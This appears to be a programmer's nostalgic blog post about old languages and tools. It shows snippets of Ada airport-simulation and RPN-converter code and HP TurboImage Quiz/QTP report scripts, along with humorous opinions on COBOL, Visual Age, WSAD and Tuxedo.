use RANDOM_LIB,TEXT_IO,INTEGER_TEXT_IO,FLOAT_TEXT_IO,PLANE_QUEUE_PACKAGE;

procedure AIRPORT_SIMULATION is
procedure AIRPORT (RUNWAYS : IN NATURAL ) is
TOTAL : CONSTANT := 3;
-- There are a total of three averages computed
-- An average for peak traffic hours, low traffic hours,
-- and a composite total for the day
subtype PERIOD_TYPE is INTEGER range 1..TOTAL;
ARRIVE_QUEUE,DEPART_QUEUE : QUEUE_TYPE; -- plane queues
PLANE : PLANE_TYPE; -- planes
IDENT : NATURAL := 1; -- ID number
ARRIVE1,ARRIVE2,DEPART1,DEPART2,
OPERATION : FLOAT;
ARRIVAL : BOOLEAN;
PERIOD : PERIOD_TYPE;

ARRIVE_NUM_PLANES,
ARRIVE_WAIT_TIME,
DEPART_NUM_PLANES,
DEPART_WAIT_TIME : ARRAY (1..TOTAL) of NATURAL :=
(OTHERS => 0);


ARRIVE_AVG,DEPART_AVG : ARRAY (1..TOTAL) of FLOAT :=
(OTHERS => 0.0);

begin
CREATE (ARRIVE_QUEUE);
CREATE (DEPART_QUEUE);

for HOUR in 1..24 loop
case HOUR is
when 01..15 =>
PERIOD := 1;
.....

-- Program : Reverse Polish Notation
-- This program converts an expression in infix notation
-- and converts it to postfix notation
-- Written by : Robert Pappas
-- Date : December 14, 1988

with BASIC_IO; -- Includes basic Input/Output package
with STACK_PACKAGE; -- Include stack package
use STACK_PACKAGE; -- Make stack package main library

procedure RPN is

type PRECEDENCE_TYPE is (HIGHER, LOWER);
MAX_LENGTH : constant INTEGER := 80;
subtype STRING_TYPE is STRING (1..MAX_LENGTH);
STACK : STACK_TYPE;
INPUT_STRING,
OUTPUT_STRING : STRING_TYPE;
INPUT_LENGTH,
OUTPUT_LENGTH : INTEGER range 0..MAX_LENGTH;
GARBAGE : CHARACTER;
OPERATOR : BOOLEAN;
PARENTHESES_LEVEL,
POSITION : INTEGER;
ERROR_MESSAGE : STRING (1..30);

function PRECEDENCE (FIRST_OPERATOR, SECOND_OPERATOR : CHARACTER)
return PRECEDENCE_TYPE is

subtype PRECEDENCE_RANGE is INTEGER range 0..4;
type RECORD_TYPE is record
OPERATOR : CHARACTER;
INFIX_PRECEDENCE : PRECEDENCE_RANGE;
STACK_PRECEDENCE : PRECEDENCE_RANGE;
end record;
type TABLE_TYPE is array (1..6) of RECORD_TYPE;
PRECEDENCE_TABLE : TABLE_TYPE :=
(1 => ('+',1,1),
2 => ('-',1,1),
...

with Unchecked_Deallocation;
separate(Guts)
procedure Dispose_Flight_List(Ptr in out flight_list_ptr) is
dead: flight_list_ptr;

procedure Dispose is new Unchecked_Deallocation
(Flight_List_Type, Flight_List_Ptr);
begin
while Ptr/=null loop
dead:=Ptr;
Ptr:=Ptr.next;
dispose(dead);
end loop;
end Dispose_Flight_List;
HoTMetaL
This was one of the first serious HTML editing tools. For an HTML tool, it was awesome. I used it for over 5 minutes. That's 4.99 minutes more than I used any other HTML editing tool in those days...because as a programmer I always wanted to write the raw HTML code by hand. :)

COBOL
I have programmed in COBOL...but I never kept any of my code and I never admit to potential employers that I've ever touched COBOL. COBOL never seems to completely die, but it's at least rare enough now that I think it's safe to come out of the closet and admit that I've written COBOL.

Quiz

A strange little reporting language for the HP TurboImage database.

  
ACCESS IM LINK ITNO TO INVPART OF INVFIL OPTIONAL
DEFINE BASE-PART STRING*18 = ITNO
DEFINE MATL NUMERIC*10 PIC "^^,^^^,^^^.^^" SCALE 2 &
SIGNIFICANCE 4 = MCST + OUTLAB + CSTCOPS
DEFINE LBR NUMERIC*10 PIC "^^,^^^,^^^.^^" SCALE 2 &
SIGNIFICANCE 4 = ULAB + LABCST
DEFINE BDN NUMERIC*10 PIC "^^,^^^,^^^.^^" SCALE 2 &
SIGNIFICANCE 4 = CSTSAB + CSTSCB + CSTAO2S + CSTCO2S &
+ CSTAO3S + CSTCO3S + (MCST * CSTMBFS) + CSTCOPOS + CSTCMOS &
+ (OUTLAB * CSTOPBFS)
DEFINE USAGE NUMERIC*9 = PTDUNM + PTDUND
SET REPORT LIMIT 50000
SELECT IF CCODE NE 32767
SORT ON ITNO ON INVLOC
SET SUBFILE AT ITNO NAME MM26AR1.PB KEEP
REPORT SUMMARY ITNO BASE-PART DESC MATL LBR BDN &
INVQTY SUB RESET AT ITNO USAGE
GO


QTP
Another reporting language for the HP TurboImage database.

access *mm29cr1 link upn to bomno of psf link comno to itno of im
define source num*2 = 1 if scode[1:1] eq "P" or scode[1:1] eq "B" &
else 2 if scode[1:1] eq "M" &
else 0
subfile mm29dr1 keep if source = 2 &
include comno of psf,upn of mm29cr1,tpflag of mm29cr1, &
tsonum of mm29cr1
subfile mm29dr2 keep if source = 1 &
include comno of psf,upn of mm29cr1,tpflag of mm29cr1, &
tsonum of mm29cr1
set process lim 500000
go
cancel
;
; Write this level's "make" components to the component subfile.
;
access *mm29dr1
subfile mm29dr2 append &
include comno,upn,tpflag,tsonum
set process lim 500000
go
cancel
;
; Get this level's "make" components. Write to subfile to drive
; next level's search. Write the "buy" components to MM29DR2.
;
access *mm29dr1 link comno to bomno of psf link comno of psf &
to itno of im
define source num*2 = 1 if scode[1:1] eq "P" or scode[1:1] eq "B" &
else 2 if scode[1:1] eq "M" &
else 0
subfile mm29dr2 append if source eq 1 &
include comno of psf,upn of mm29dr1,tpflag of mm29dr1, &
tsonum of mm29dr1
subfile mm29dr3 keep if source eq 2 &
include comno of psf,upn of mm29dr1,tpflag of mm29dr1, &
tsonum of mm29dr1
set process lim 500000
go
cancel
;
; Write this levels "make" components to the component subfile.
;
access *mm29dr3
subfile mm29dr2 append &
include comno,upn,tpflag,tsonum
set process lim 500000
go
Ray Tracing
Between 1993 and 1995, graphics programs that could do Ray Tracing became available for PC. The programs were primitive, and required a LOT of code just to produce a simple shape like a sphere. They took hours or days to render 1 full image. I made the following image in 1994. It took me about 8 hours to code, and 40+ hours to render this one image at 640X480...and that was the best high-color resolution available at the time. Talk about tacky! At the time, I was totally blown away by how sharp this image was and how the software captured the reflections in the mirror and on the floor! Today this image looks awful, grainy, lo-color, and primitive, and doesn't even fill 1/4th of my screen. Sad.


JBuilder, PowerJ, Visual Cafe
I'm lumping these three tools together, because they were the top Java IDEs during the golden age of proprietary Java Development tools. I think I bought every one of these at some point between 1997 and 2001. They kept leapfrogging each other in features. Then Eclipse came out and ran away with the market share. This is yet ANOTHER example of an open-source project harming every other software maker except Microsoft.
Visual Age
The Fischer Price Java development tool. It made development simple by severely limiting everything you could do. The worst part of all was that it did not even store your source files at text files. It put all of your code into its own little custom binary repository (called ENVY...as in "we envy people who use other tools") that was prone to corruption and therefore losing all of your code! It's amazing what IBM toadies will put up with! I remember at JavaOne 2001, IBM announced the end of ENVY...and half the room cheered and half the room booed. I was in the half that cheered. For the record: We were right!
Websphere Studio Application Developer
That's probably one of the most ill-named development tools ever. It made an acronym (WSAD) that you couldn't even pronounce, but most developers called it "We SAD" :)
Tuxedo
This is a technology only a consultant could love. It required an army of consultants to install, configure, and administer all the Tuxedo modules. It's hard to describe Tuxedo other than it was a middleware platform that was supposed to allow any system to talk to any system by defining transformation engines for every type of input. I worked at a shop that was using Tuxedo to allow PowerBuilder client applications to talk to back-end services written in C. For what we were doing, that was like using a 3-stage Saturn rocket to climb one flight of stairs. Serious overkill. But it created jobs for 200+ consultants at this company. Sad.


Whew! That's all I can think of for now. What started off as a simple blog entry turned into a multi-day project, and I'm sure I'll think of many others to add later...so this is only the end of the list FOR NOW. =)